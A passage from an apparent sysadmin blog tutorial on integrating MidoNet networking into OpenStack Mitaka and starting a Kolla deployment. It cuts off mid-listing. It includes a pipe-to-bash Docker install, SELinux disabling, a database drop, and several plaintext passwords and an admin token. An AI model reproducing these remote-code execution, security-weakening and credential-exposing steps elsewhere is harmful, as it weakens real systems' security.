cassandra\\'s init script in order to fix a bug in the init script ``` vi /etc/init.d/cassandra ``` Add the next two lines after #Casandra startup ``` case "$1" in start) # Cassandra startup echo -n "Starting Cassandra: " mkdir -p /var/run/cassandra #Add this line chown cassandra:cassandra /var/run/cassandra #Add this line su $CASSANDRA_OWNR -c "$CASSANDRA_PROG -p $pid_file" > $log_file 2>&1 retval=$? [ $retval -eq 0 ] && touch $lock_file echo "OK" ;; ``` Start and enable Cassandra service ``` systemctl enable cassandra.service systemctl start cassandra.service ``` Check if all NSDB nodes join the cluster ``` nodetool --host 127.0.0.1 status Datacenter: datacenter1 ======================= Status=Up/Down |/ State=Normal/Leaving/Joining/Moving -- Address Load Tokens Owns (effective) Host ID Rack UN 192.168.100.172 89.1 KB 256 70.8% 3f1ecedd-8caf-4938-84ad-8614d2134557 rack1 UN 192.168.100.224 67.64 KB 256 60.7% cb36c999-a6e1-4d98-a4dd-d4230b41df08 rack1 UN 192.168.100.195 25.78 KB 256 68.6% 4758bae8-9300-4e57-9a61-5b1107082964 rack1 ``` **Configure OpenStack Controller Nodes (On which Neutron Server is running)** Disable SElinux ``` setenforce 0 sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/sysconfig/selinux ``` Install OpenStack Mitaka release repository ``` sudo yum install -y centos-release-openstack-mitaka ``` Add Midonet Repository ``` cat </etc/yum.repos.d/midonet.repo [midonet] name=MidoNet baseurl=http://builds.midonet.org/midonet-5.2/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-openstack-integration] name=MidoNet OpenStack Integration baseurl=http://builds.midonet.org/openstack-mitaka/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-misc] name=MidoNet 3rd Party Tools and Libraries baseurl=http://builds.midonet.org/misc/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key EOF ``` Clean repos cache and update the system ``` yum clean all yum update ``` Create an OpenStack user for MidoNet, change the password to match your own ``` # openstack user create --password temporal midonet +----------+----------------------------------+ | Field | Value | +----------+----------------------------------+ | email | None | | enabled | True | | id | ac25c5a77e7c4e4598ccadea89e09969 | | name | midonet | | username | midonet | +----------+----------------------------------+ ``` Add admin role at tenant services to Midonet user ``` # openstack role add --project services --user midonet admin +-----------+----------------------------------+ | Field | Value | +-----------+----------------------------------+ | domain_id | None | | id | bca2c6e1f3da42b0ba82aee401398a8a | | name | admin | +-----------+----------------------------------+ ``` Create MidoNet service at Keystone ``` # openstack service create --name midonet --description "MidoNet API Service" midonet +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | MidoNet API Service | | enabled | True | | id | 499059c4a3a040cfb632411408a2be4c | | name | midonet | | type | midonet | +-------------+----------------------------------+ ``` \| **Clean up neutron server** | Stop neutron services ``` openstack-service stop neutron ``` Remove neutron database and recreate it again ``` mysql -u root -p DROP DATABASE neutron; Query OK, 157 rows affected (11.50 sec) MariaDB [(none)]> CREATE DATABASE neutron; Query OK, 1 row affected (0.00 sec) MariaDB [(none)]> GRANT ALL PRIVILEGES ON neutron.* TO 'neutron'@'localhost' IDENTIFIED BY 'ab4f81b1040a495e'; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> GRANT ALL PRIVILEGES ON neutron.* TO 'neutron'@'%' IDENTIFIED BY 'ab4f81b1040a495e'; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> exit Bye ``` Remove plugin.ini symbolic link to ml2\_conf.ini ``` #rm /etc/neutron/plugin.ini rm: remove symbolic link ‘/etc/neutron/plugin.ini’? y ``` Remove br-tun tunnel used by neutron in all the nodes ``` ovs-vsctl del-br br-tun ``` Install MidoNet packages and remove ml2 package ``` yum install -y openstack-neutron python-networking-midonet python-neutronclient yum remove openstack-neutron-ml2 ``` Make a backup of neutron configuration file ``` cp /etc/neutron/neutron.conf neutron.conf.bak ``` Edit neutron configuration file ``` vi /etc/neutron/neutron.conf ``` Most of the options are already configured by our older neutron configuration, change the ones who apply to match this configuration ``` [DEFAULT] core_plugin = midonet.neutron.plugin_v2.MidonetPluginV2 service_plugins = midonet.neutron.services.l3.l3_midonet.MidonetL3ServicePlugin dhcp_agent_notification = False allow_overlapping_ips = True rpc_backend = rabbit auth_strategy = keystone notify_nova_on_port_status_changes = true notify_nova_on_port_data_changes = true nova_url = http://controller:8774/v2 [database] connection = mysql+pymysql://neutron:ab4f81b1040a495e@controller/neutron [oslo_messaging_rabbit] rabbit_host = controller rabbit_userid = guest rabbit_password = guest [keystone_authtoken] auth_uri = http://controller:5000/v2.0 admin_user=neutron admin_tenant_name=services identity_uri=http://controller:35357 admin_password=d88f0bd060d64c33 [nova] region_name = RegionOne auth_url = http://controller:35357 auth_type = password password = 9ca36d15e4824d93 project_domain_id = default project_name = services tenant_name = services user_domain_id = default username = nova [oslo_concurrency] lock_path = /var/lib/neutron/tmp ``` At my deployment these are the options I had to change to configure midonet ``` diff /etc/neutron/neutron.conf neutron.conf.bak 33c33 < core_plugin = midonet.neutron.plugin_v2.MidonetPluginV2 --- > core_plugin = neutron.plugins.ml2.plugin.Ml2Plugin 37c37 < service_plugins = midonet.neutron.services.l3.l3_midonet.MidonetL3ServicePlugin --- > service_plugins =router 120c120 < dhcp_agent_notification = False --- > #dhcp_agent_notification = true 1087c1087,1088 < lock_path = /var/lib/neutron/tmp --- > lock_path = $state_path/lock > ``` Create midonet plugins folder ``` mkdir /etc/neutron/plugins/midonet ``` Create a file called midonet.ini ``` vi /etc/neutron/plugins/midonet/midonet.ini ``` Configure midonet.ini file to match your own configuration options ``` [MIDONET] # MidoNet API URL midonet_uri = http://controller:8181/midonet-api # MidoNet administrative user in Keystone username = midonet password = temporal # MidoNet administrative user's tenant project_id = services ``` Create a symbolic link from midonet.ini to plugin.ini ``` ln -s /etc/neutron/plugins/midonet/midonet.ini /etc/neutron/plugin.ini ``` Sync and populate database tables with Midonet plugin ``` su -s /bin/sh -c "neutron-db-manage --config-file /etc/neutron/neutron.conf --config-file /etc/neutron/plugins/midonet/midonet.ini upgrade head" neutron su -s /bin/sh -c "neutron-db-manage --subproject networking-midonet upgrade head" neutron ``` Restart nova api and neutron server services ``` systemctl restart openstack-nova-api.service systemctl restart neutron-server ``` Install midonet cluster package ``` yum install -y midonet-cluster ``` Configure midonet.conf file ``` vi /etc/midonet/midonet.conf ``` Add all NSDB nodes at zookeeper\_hosts ``` [zookeeper] zookeeper_hosts = nsdb1:2181,nsdb2:2181,nsdb3:2181 ``` Configure midonet to make use of NSDB nodes as Zookeeper and cassandra hosts ``` cat << EOF | mn-conf set -t default zookeeper { zookeeper_hosts = "nsdb1:2181,nsdb2:2181,nsdb3:2181" } cassandra { servers = "nsdb1,nsdb2,nsdb3" } EOF ``` Set cassandra replication factor to 3 ``` echo "cassandra.replication_factor : 3" | mn-conf set -t default ``` Grab your admin token ``` #egrep ^admin_token /etc/keystone/keystone.conf admin_token = 7b84d89b32c34b71a697eb1a270807ab ``` Configure Midonet to auth with keystone ``` cat << EOF | mn-conf set -t default cluster.auth { provider_class = "org.midonet.cluster.auth.keystone.KeystoneService" admin_role = "admin" keystone.tenant_name = "admin" keystone.admin_token = "7b84d89b32c34b71a697eb1a270807ab" keystone.host = controller keystone.port = 35357 } EOF ``` Start and enable midonet cluster service ``` systemctl enable midonet-cluster.service systemctl start midonet-cluster.service ``` Install midonet CLI ``` yum install -y python-midonetclient ``` Create a file at you home directory with midonet auth info ``` #vi ~/.midonetrc [cli] api_url = http://controller:8181/midonet-api username = admin password = temporal project_id = admin ``` **Configure Compute nodes** Disable SElinux ``` setenforce 0 sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/sysconfig/selinux ``` Install OpenStack Mitaka release repository ``` sudo yum install -y centos-release-openstack-mitaka ``` Add Midonet repository ``` cat </etc/yum.repos.d/midonet.repo [midonet] name=MidoNet baseurl=http://builds.midonet.org/midonet-5.2/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-openstack-integration] name=MidoNet OpenStack Integration baseurl=http://builds.midonet.org/openstack-mitaka/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-misc] name=MidoNet 3rd Party Tools and Libraries baseurl=http://builds.midonet.org/misc/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key EOF ``` Clean repos cache and update the system ``` yum clean all yum update ``` Edit qemu.conf ``` vi /etc/libvirt/qemu.conf ``` Configure with the following options, by default all these options are commented, you can paste it all wherever you want ``` user = "root" group = "root" cgroup_device_acl = [ "/dev/null", "/dev/full", "/dev/zero", "/dev/random", "/dev/urandom", "/dev/ptmx", "/dev/kvm", "/dev/kqemu", "/dev/rtc","/dev/hpet", "/dev/vfio/vfio", "/dev/net/tun" ] ``` Restart libvirtd service ``` systemctl restart libvirtd.service ``` Install nova-network package ``` yum install -y openstack-nova-network ``` Disable Nova Network service and restart Nova compute service ``` systemctl disable openstack-nova-network.service systemctl restart openstack-nova-compute.service ``` Install Midolman agent and java packages ``` yum install -y java-1.8.0-openjdk-headless midolman ``` Configure midolman.conf ``` vi /etc/midolman/midolman.conf ``` Add all nsdb nodes as zookeeper hosts ``` [zookeeper] zookeeper_hosts = nsdb1:2181,nsdb2:2181,nsdb3:2181 ``` Configure each compute node with an appropiate flavor located at /etc/midolman/ folder, the have different hardware resources configured, use the one that better match your compute host capabilities ``` mn-conf template-set -h local -t agent-compute-medium cp /etc/midolman/midolman-env.sh.compute.medium /etc/midolman/midolman-env.sh ``` Configure metadata, issue the following commands only once, it will automatically populate the configuration to all midonet agents ``` echo "agent.openstack.metadata.nova_metadata_url : \"http://controller:8775\"" | mn-conf set -t default echo "agent.openstack.metadata.shared_secret : 2bfeb930a90d435d" | mn-conf set -t default echo "agent.openstack.metadata.enabled : true" | mn-conf set -t default ``` Allow metadata trafic at iptables ``` iptables -I INPUT 1 -i metadata -j ACCEPT ``` Remove br-tun bridge ``` ovs-vsctl del-br br-tun ``` Start and enable midolman agent service ``` systemctl enable midolman.service systemctl start midolman.service ``` **Gateway nodes configuration** Disable SElinux ``` setenforce 0 sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/sysconfig/selinux ``` Install OpenStack Mitaka release repository ``` sudo yum install -y centos-release-openstack-mitaka ``` Add Midonet repository ``` cat </etc/yum.repos.d/midonet.repo [midonet] name=MidoNet baseurl=http://builds.midonet.org/midonet-5.2/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-openstack-integration] name=MidoNet OpenStack Integration baseurl=http://builds.midonet.org/openstack-mitaka/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-misc] name=MidoNet 3rd Party Tools and Libraries baseurl=http://builds.midonet.org/misc/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key EOF ``` Clean repos cache and update the system ``` yum clean all yum update ``` Install Midolman agent and java packages ``` yum install -y java-1.8.0-openjdk-headless midolman ``` Configure midolman.conf ``` vi /etc/midolman/midolman.conf ``` Add all nsdb nodes as zookeeper hosts ``` [zookeeper] zookeeper_hosts = nsdb1:2181,nsdb2:2181,nsdb3:2181 ``` Configure each gateway node with an appropiate flavor located at /etc/midolman/ folder, the have different hardware resources configured, use the one that better match your gateway host capabilities ``` mn-conf template-set -h local -t agent-gateway-medium cp /etc/midolman/midolman-env.sh.gateway.medium /etc/midolman/midolman-env.sh ``` Grab the metadata shared secret located at nova.conf at any of your nova nodes ``` # egrep ^metadata_proxy_shared_secret /etc/nova/nova.conf metadata_proxy_shared_secret =2bfeb930a90d435d ``` Allow metadata trafic at iptables ``` iptables -I INPUT 1 -i metadata -j ACCEPT ``` Start and enable midolman agent service ``` systemctl enable midolman.service systemctl start midolman.service ``` \| **Configure encapsulation and register nodes** | Enter to midonet CLI from a controller node ``` midonet-cli ``` Create the tunnel zone with VXLAN encapsulation ``` midonet> tunnel-zone create name tz type vxlan tzone0 midonet> list tunnel-zone tzone tzone0 name tz type vxlan ``` List hosts discovered by midonet, should be all the nodes where you configured midonet agents(midolman) ``` midonet> list host host host0 name gateway2 alive true addresses fe80:0:0:0:0:11ff:fe00:1102,169.254.123.1,fe80:0:0:0:0:11ff:fe00:1101,127.0.0.1,0:0:0:0:0:0:0:1,192.168.200.176,fe80:0:0:0:5054:ff:fef9:b2a0,169.254.169.254,fe80:0:0:0:7874:d6ff:fe5b:dea8,192.168.100.227,fe80:0:0:0:5054:ff:fed9:9cc0,fe80:0:0:0:5054:ff:fe4a:e39b,192.168.1.86 flooding-proxy-weight 1 container-weight 1 container-limit no-limit enforce-container-limit false host host1 name gateway1 alive true addresses 169.254.169.254,fe80:0:0:0:3cd1:23ff:feac:a3c2,192.168.1.87,fe80:0:0:0:5054:ff:fea8:da91,127.0.0.1,0:0:0:0:0:0:0:1,fe80:0:0:0:5054:ff:feec:92c1,192.168.200.232,fe80:0:0:0:0:11ff:fe00:1102,169.254.123.1,fe80:0:0:0:0:11ff:fe00:1101,192.168.100.141,fe80:0:0:0:5054:ff:fe20:30fb flooding-proxy-weight 1 container-weight 1 container-limit no-limit enforce-container-limit false host host2 name compute1 alive true addresses fe80:0:0:0:0:11ff:fe00:1101,169.254.123.1,127.0.0.1,0:0:0:0:0:0:0:1,fe80:0:0:0:0:11ff:fe00:1102,192.168.100.173,fe80:0:0:0:5054:ff:fe06:161,fe80:0:0:0:5054:ff:fee3:eb48,192.168.200.251,fe80:0:0:0:5054:ff:fe8d:d22,192.168.1.93,169.254.169.254,fe80:0:0:0:48cb:adff:fe69:f07b flooding-proxy-weight 1 container-weight 1 container-limit no-limit enforce-container-limit false ``` Register each of the nodes at the VXLAN zone we created before ``` midonet> tunnel-zone tzone0 add member host host0 address 192.168.100.227 zone tzone0 host host0 address 192.168.100.227 midonet> tunnel-zone tzone0 add member host host1 address 192.168.100.141 zone tzone0 host host1 address 192.168.100.141 midonet> tunnel-zone tzone0 add member host host2 address 192.168.100.173 zone tzone0 host host2 address 192.168.100.173 ``` \| **Create Networks at Neutron** | Create an external network ``` # neutron net-create ext-net --router:external Created a new network: +-----------------------+--------------------------------------+ | Field | Value | +-----------------------+--------------------------------------+ | admin_state_up | True | | created_at | 2016-07-03T14:47:30 | | description | | | id | dc15245e-4391-4514-b489-8976373046a3 | | is_default | False | | name | ext-net | | port_security_enabled | True | | provider:network_type | midonet | | router:external | True | | shared | False | | status | ACTIVE | | subnets | | | tags | | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated_at | 2016-07-03T14:47:30 | +-----------------------+--------------------------------------+ ``` Create an external subnet in the network we created before, use you own IP ranges to match your environment ``` # neutron subnet-create ext-net 192.168.200.0/24 --name ext-subnet \ --allocation-pool start=192.168.200.225,end=192.168.200.240 \ --disable-dhcp --gateway 192.168.200.1 Created a new subnet: +-------------------+--------------------------------------------------------+ | Field | Value | +-------------------+--------------------------------------------------------+ | allocation_pools | {"start": "192.168.200.225", "end": "192.168.200.240"} | | cidr | 192.168.200.0/24 | | created_at | 2016-07-03T14:50:46 | | description | | | dns_nameservers | | | enable_dhcp | False | | gateway_ip | 192.168.200.1 | | host_routes | | | id | 234dcc9a-2878-4799-b564-bf3a1bd52cad | | ip_version | 4 | | ipv6_address_mode | | | ipv6_ra_mode | | | name | ext-subnet | | network_id | dc15245e-4391-4514-b489-8976373046a3 | | subnetpool_id | | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated_at | 2016-07-03T14:50:46 | +-------------------+--------------------------------------------------------+ ``` Create a tenant network and a subnet on it ``` # neutron net-create demo-net Created a new network: +-----------------------+--------------------------------------+ | Field | Value | +-----------------------+--------------------------------------+ | admin_state_up | True | | created_at | 2016-07-03T14:51:39 | | description | | | id | 075ba699-dc4c-4625-8e0d-0a258a9aeb7d | | name | demo-net | | port_security_enabled | True | | provider:network_type | midonet | | router:external | False | | shared | False | | status | ACTIVE | | subnets | | | tags | | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated_at | 2016-07-03T14:51:39 | +-----------------------+--------------------------------------+ # neutron subnet-create demo-net 10.0.20.0/24 --name demo-subnet Created a new subnet: +-------------------+----------------------------------------------+ | Field | Value | +-------------------+----------------------------------------------+ | allocation_pools | {"start": "10.0.20.2", "end": "10.0.20.254"} | | cidr | 10.0.20.0/24 | | created_at | 2016-07-03T14:52:32 | | description | | | dns_nameservers | | | enable_dhcp | True | | gateway_ip | 10.0.20.1 | | host_routes | | | id | b299d899-33a3-4bfa-aff4-fda071545bdf | | ip_version | 4 | | ipv6_address_mode | | | ipv6_ra_mode | | | name | demo-subnet | | network_id | 075ba699-dc4c-4625-8e0d-0a258a9aeb7d | | subnetpool_id | | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated_at | 2016-07-03T14:52:32 | +-------------------+----------------------------------------------+ ``` Create a tenant router ``` # neutron router-create router1 Created a new router: +-----------------------+--------------------------------------+ | Field | Value | +-----------------------+--------------------------------------+ | admin_state_up | True | | description | | | external_gateway_info | | | id | 258942d8-9d82-4ebd-b829-c7bdfcc973f5 | | name | router1 | | routes | | | status | ACTIVE | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | +-----------------------+--------------------------------------+ ``` Attach the tenant subnet interface we created before to the router ``` # neutron router-interface-add router1 demo-subnet Added interface 06c85a56-368c-4d79-bbf0-4bb077f163e5 to router router1. ``` Set the external network as router gateway ``` # neutron router-gateway-set router1 ext-net Set gateway for router router1 ``` Now, you can create an instance at tenant network ``` # nova boot --flavor m1.tiny --image 80871834-29dd-4100-b038-f5f83f126204 --nic net-id=075ba699-dc4c-4625-8e0d-0a258a9aeb7d test1 +--------------------------------------+-----------------------------------------------------+ | Property | Value | +--------------------------------------+-----------------------------------------------------+ | OS-DCF:diskConfig | MANUAL | | OS-EXT-AZ:availability_zone | | | OS-EXT-SRV-ATTR:host | - | | OS-EXT-SRV-ATTR:hypervisor_hostname | - | | OS-EXT-SRV-ATTR:instance_name | instance-0000000a | | OS-EXT-STS:power_state | 0 | | OS-EXT-STS:task_state | scheduling | | OS-EXT-STS:vm_state | building | | OS-SRV-USG:launched_at | - | | OS-SRV-USG:terminated_at | - | | accessIPv4 | | | accessIPv6 | | | adminPass | q2Cq4kxePSLL | | config_drive | | | created | 2016-07-03T15:46:19Z | | flavor | m1.tiny (1) | | hostId | | | id | b8aa46f9-186c-4594-8428-f8dbb16a5e16 | | image | cirros image (80871834-29dd-4100-b038-f5f83f126204) | | key_name | - | | metadata | {} | | name | test1 | | os-extended-volumes:volumes_attached | [] | | progress | 0 | | security_groups | default | | status | BUILD | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated | 2016-07-03T15:46:20Z | | user_id | a2482a91a1f14750b372445d28b07c75 | +--------------------------------------+-----------------------------------------------------+ # nova list +--------------------------------------+-------+--------+------------+-------------+---------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+-------+--------+------------+-------------+---------------------+ | b8aa46f9-186c-4594-8428-f8dbb16a5e16 | test1 | ACTIVE | - | Running | demo-net=10.0.20.11 | +--------------------------------------+-------+--------+------------+-------------+---------------------+ ``` Ensure the instance gets IP and the metadata service is properly running ``` # nova console-log test1 ...#Snipp from the output Sending discover... Sending select for 10.0.20.11... Lease of 10.0.20.11 obtained, lease time 86400 cirros-ds 'net' up at 7.92 checking http://169.254.169.254/2009-04-04/instance-id successful after 1/20 tries: up 8.22. iid=i-0000000a ... ``` If you login to the instance through VNC you should be able to ping another instances \| **Edge router configuration** | Create a new router ``` # neutron router-create edge-router Created a new router: +-----------------------+--------------------------------------+ | Field | Value | +-----------------------+--------------------------------------+ | admin_state_up | True | | description | | | external_gateway_info | | | id | 5ecadb64-cb0d-4f95-a00e-aa1dd20a2012 | | name | edge-router | | routes | | | status | ACTIVE | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | +-----------------------+--------------------------------------+ ``` Attach the external subnet interface to the router ``` # neutron router-interface-add edge-router ext-subnet Added interface e37f1986-c6b1-47f4-8268-02b837ceac17 to router edge-router. ``` Create an uplink network ``` # neutron net-create uplink-network --tenant_id admin --provider:network_type uplink Created a new network: +-----------------------+--------------------------------------+ | Field | Value | +-----------------------+--------------------------------------+ | admin_state_up | True | | created_at | 2016-07-03T14:57:15 | | description | | | id | 77173ed4-6106-4515-af1c-3683897955f9 | | name | uplink-network | | port_security_enabled | True | | provider:network_type | uplink | | router:external | False | | shared | False | | status | ACTIVE | | subnets | | | tags | | | tenant_id | admin | | updated_at | 2016-07-03T14:57:15 | +-----------------------+--------------------------------------+ ``` Create a subnet in the uplink network ``` # neutron subnet-create --tenant_id admin --disable-dhcp --name uplink-subnet uplink-network 192.168.1.0/24 Created a new subnet: +-------------------+--------------------------------------------------+ | Field | Value | +-------------------+--------------------------------------------------+ | allocation_pools | {"start": "192.168.1.2", "end": "192.168.1.254"} | | cidr | 192.168.1.0/24 | | created_at | 2016-07-03T15:06:28 | | description | | | dns_nameservers | | | enable_dhcp | False | | gateway_ip | 192.168.1.1 | | host_routes | | | id | 4e98e789-20d3-45fd-a3b5-9bcf02d8a832 | | ip_version | 4 | | ipv6_address_mode | | | ipv6_ra_mode | | | name | uplink-subnet | | network_id | 77173ed4-6106-4515-af1c-3683897955f9 | | subnetpool_id | | | tenant_id | admin | | updated_at | 2016-07-03T15:06:28 | +-------------------+--------------------------------------------------+ ``` Create a port for each of the gateway nodes, interface should match with the NIC you want to use for binding the gateway nodes and a IP address for the same purposes ``` # neutron port-create uplink-network --binding:host_id gateway1 --binding:profile type=dict interface_name=eth1 --fixed-ip ip_address=192.168.1.199 Created a new port: +-----------------------+--------------------------------------------------------------------------------------+ | Field | Value | +-----------------------+--------------------------------------------------------------------------------------+ | admin_state_up | True | | allowed_address_pairs | | | binding:host_id | compute1 | | binding:profile | {"interface_name": "eth1"} | | binding:vif_details | {"port_filter": true} | | binding:vif_type | midonet | | binding:vnic_type | normal | | created_at | 2016-07-03T15:10:06 | | description | | | device_id | | | device_owner | | | extra_dhcp_opts | | | fixed_ips | {"subnet_id": "4e98e789-20d3-45fd-a3b5-9bcf02d8a832", "ip_address": "192.168.1.199"} | | id | 7b4f54dd-2b41-42ba-9c5c-cda4640dc550 | | mac_address | fa:16:3e:44:a8:c9 | | name | | | network_id | 77173ed4-6106-4515-af1c-3683897955f9 | | port_security_enabled | True | | security_groups | 0cf3e33e-dbd6-4b42-a0bd-6679b5eed4e1 | | status | ACTIVE | | tenant_id | 2f7ee2716b3b4140be57b4a5b26401e3 | | updated_at | 2016-07-03T15:10:06 | +-----------------------+--------------------------------------------------------------------------------------+ ``` Attach each of the ports to the edge router ``` # neutron router-interface-add edge-router port=7b4f54dd-2b41-42ba-9c5c-cda4640dc550 Added interface 7b4f54dd-2b41-42ba-9c5c-cda4640dc550 to router edge-router. ``` \| At this point you have to decide if use border routers with BGP enabled or static routes. | Use one of the following links to configure your use case: | | **Issues I faced during configuration of Midonet** \| Midolman agent don\\'t start: | It was caused because midolman-env.sh file has more RAM configured as the one of my server. | Edit the file to match your server resources ``` # egrep ^MAX_HEAP_SIZE /etc/midolman/midolman-env.sh MAX_HEAP_SIZE="2048M" ``` Instances doesn\\'t boot with the following error: ``` could not open /dev/net/tun: Permission denied ``` I had to remove br-tun bridges at ovs, if not, ovs locks the device and midolman cannot create the tunnel beetwen compute nodes and gateway nodes. ``` ovs-vsctl del-br br-tun ``` \| This post is my experience integrating Midonet into OpenStack, maybe some things are not correct, if you find any issue, please advise me to fix it. | Regards, Eduardo Gonzalez # OpenStack kolla deployment from RDO packages OpenStack, Ansible, Docker, production ready, HA, etc. Nothing can be so interesting as Kolla. | Kolla includes all you need to create, maintain and operate an OpenStack environment. | All the services will be installed along the nodes you specify inside docker containers with high availability and load balancing between services by default, you don\\'t need to care about an external tool for these purposes. | In future posts, i will talk in more detail about Kolla and how works, also more tips or deployment types. For now, go to the official documentation. | At this demo, i will use: * x1 Deployment node: Laptop with 12GB of RAM and a single CPU * x3 Target nodes: VMs with 24GB of RAM and 2 vCPU each one. * All nodes connected to a shared connection with 300Mbs ### ALL NODES Before deploy OpenStack with Kolla, we need to ensure all the nodes got time synchronized. ``` yum -y install ntp systemctl enable ntpd.service systemctl start ntpd.service ``` Next, stop and disable libvirt service to avoid conflicts with libvirt containers. ``` systemctl stop libvirtd systemctl disable libvirtd ``` Install docker ``` curl -sSL https://get.docker.io | bash ``` Add the user you are using to docker group so this user can issue docker commands without sudo. Logoff and login to apply changes. ``` sudo usermod -aG docker root ``` Create a file called kolla.conf with the following content. ``` vi /etc/systemd/system/docker.service.d/kolla.conf [Service] MountFlags=shared ``` Restart and enable docker service ``` systemctl restart docker systemctl enable docker ``` Install some packages who are needed by next steps. ``` yum install -y python-devel libffi-devel openssl-devel gcc git python-pip python-openstackclient ``` #### DEPLOY NODE Install EPEL repository ``` yum install -y epel-release ``` Install ansible ``` yum install -y ansible ``` Clone Kolla mitaka/stable code. ``` git clone https://git.openstack.org/openstack/kolla -b stable/mitaka ``` Install kolla and dependencies. ``` pip install kolla/ ``` Copy kolla configuration files to /etc/ ``` cd kolla cp -r etc/kolla /etc/ ``` Create kolla build config file ``` pip install tox tox -e genconfig ``` Edit kolla-build file with the following content ``` vi /etc/kolla/kolla-build.conf base = centos base_tag = mitaka push = true install_type = rdo registry = docker.io ``` Login with your DockerHub account, sometimes, login doesn\\'t works as expected. Review auth url at authentication file in \~/.docker/ directory. After Austin Summit i will post exact changes i made in the URL. ``` docker login ``` \| Create and push the images to your DockerHub account. | If images are not automatically pushed to the remote repository, push them manually once image creation finished. | Building images can last various hours, in my experience sometimes were built in 3 hours and another times in 9 hours. And much more if you are going to push them to your DockerHub instead of a private registry. ``` kolla-build -n egonzalez90 --push ``` Review all docker images kolla has created. ``` [egonzalez@localhost kolla]$ docker images | grep mitaka egonzalez90/centos-binary-cinder-api mitaka ba2cca4b09fa 16 hours ago 814.5 MB egonzalez90/centos-binary-cinder-volume mitaka 1d31a049f327 16 hours ago 802.4 MB egonzalez90/centos-binary-cinder-rpcbind mitaka 5f7bc909f41b 16 hours ago 804.2 MB egonzalez90/centos-binary-mesos-slave mitaka 57a0e00d1901 16 hours ago 651.6 MB egonzalez90/centos-binary-swift-rsyncd mitaka 36f5b9c9d4c5 16 hours ago 565.3 MB egonzalez90/centos-binary-cinder-backup mitaka a7a8161398fe 16 hours ago 775.3 MB egonzalez90/centos-binary-cinder-scheduler mitaka a5c5b79a25f6 16 hours ago 775.3 MB egonzalez90/centos-binary-marathon mitaka 704ce8261a7f 16 hours ago 770.4 MB egonzalez90/centos-binary-chronos mitaka 974525562cea 16 hours ago 732.8 MB egonzalez90/centos-binary-swift-object mitaka e09b529bad32 16 hours ago 582.9 MB egonzalez90/centos-binary-swift-account mitaka 573b8e5bd3c7 16 hours ago 582.9 MB egonzalez90/centos-binary-swift-container mitaka c63d9a5be014 16 hours ago 583.2 MB egonzalez90/centos-binary-mesos-master mitaka 2610881df9c0 16 hours ago 536.8 MB egonzalez90/centos-binary-swift-proxy-server mitaka 3632ee65ace9 16 hours ago 584.7 MB egonzalez90/centos-binary-ceilometer-api mitaka 808cd12e9287 16 hours ago 598.6 MB egonzalez90/centos-binary-ceilometer-compute mitaka 59e7a5e3bd79 16 hours ago 612.6 MB egonzalez90/centos-binary-ceilometer-central mitaka de094dabf9fd 16 hours ago 612.6 MB egonzalez90/centos-binary-magnum-api mitaka 6ce41a1856f8 16 hours ago 690 MB egonzalez90/centos-binary-glance-api mitaka 2a1c8702341a 16 hours ago 688.5 MB egonzalez90/centos-binary-ceilometer-notification mitaka 7ccb484383ae 16 hours ago 594 MB egonzalez90/centos-binary-ceilometer-collector mitaka c2e043f6e2b1 16 hours ago 595.4 MB egonzalez90/centos-binary-magnum-conductor mitaka 19674f37dc9b 16 hours ago 790.8 MB egonzalez90/centos-binary-aodh-api mitaka c35c48dee3c4 16 hours ago 593.2 MB egonzalez90/centos-binary-glance-registry mitaka a72949aaaf45 16 hours ago 688.5 MB egonzalez90/centos-binary-aodh-expirer mitaka ffa9bc296a02 16 hours ago 593.2 MB egonzalez90/centos-binary-aodh-evaluator mitaka c214eac9bbd9 16 hours ago 593.2 MB egonzalez90/centos-binary-neutron-metadata-agent mitaka 0cea7ba50b8e 16 hours ago 817.9 MB egonzalez90/centos-binary-aodh-listener mitaka c5d255b20d4e 16 hours ago 593.2 MB egonzalez90/centos-binary-aodh-notifier mitaka dbd4c8d5515d 16 hours ago 593.2 MB egonzalez90/centos-binary-neutron-server mitaka 688d6800684b 16 hours ago 817.9 MB egonzalez90/centos-binary-gnocchi-api mitaka 5f8daeb7a511 17 hours ago 840.8 MB egonzalez90/centos-binary-neutron-openvswitch-agent mitaka 3c2f03d388fa 17 hours ago 843.4 MB egonzalez90/centos-binary-nova-compute mitaka aef19eb18b41 17 hours ago 1.076 GB egonzalez90/centos-binary-neutron-linuxbridge-agent mitaka 672550e296af 17 hours ago 843.1 MB egonzalez90/centos-binary-nova-libvirt mitaka 46cd6d68a29d 17 hours ago 1.127 GB egonzalez90/centos-binary-gnocchi-statsd mitaka 8369b97d0fb7 17 hours ago 840.7 MB egonzalez90/centos-binary-neutron-dhcp-agent mitaka b6a6de5c4d3f 17 hours ago 817.9 MB egonzalez90/centos-binary-neutron-l3-agent mitaka 6d4956cd63e6 17 hours ago 817.9 MB egonzalez90/centos-binary-nova-spicehtml5proxy mitaka 6db500ef18b0 17 hours ago 629.5 MB egonzalez90/centos-binary-nova-compute-ironic mitaka 89f4f8ba32b9 17 hours ago 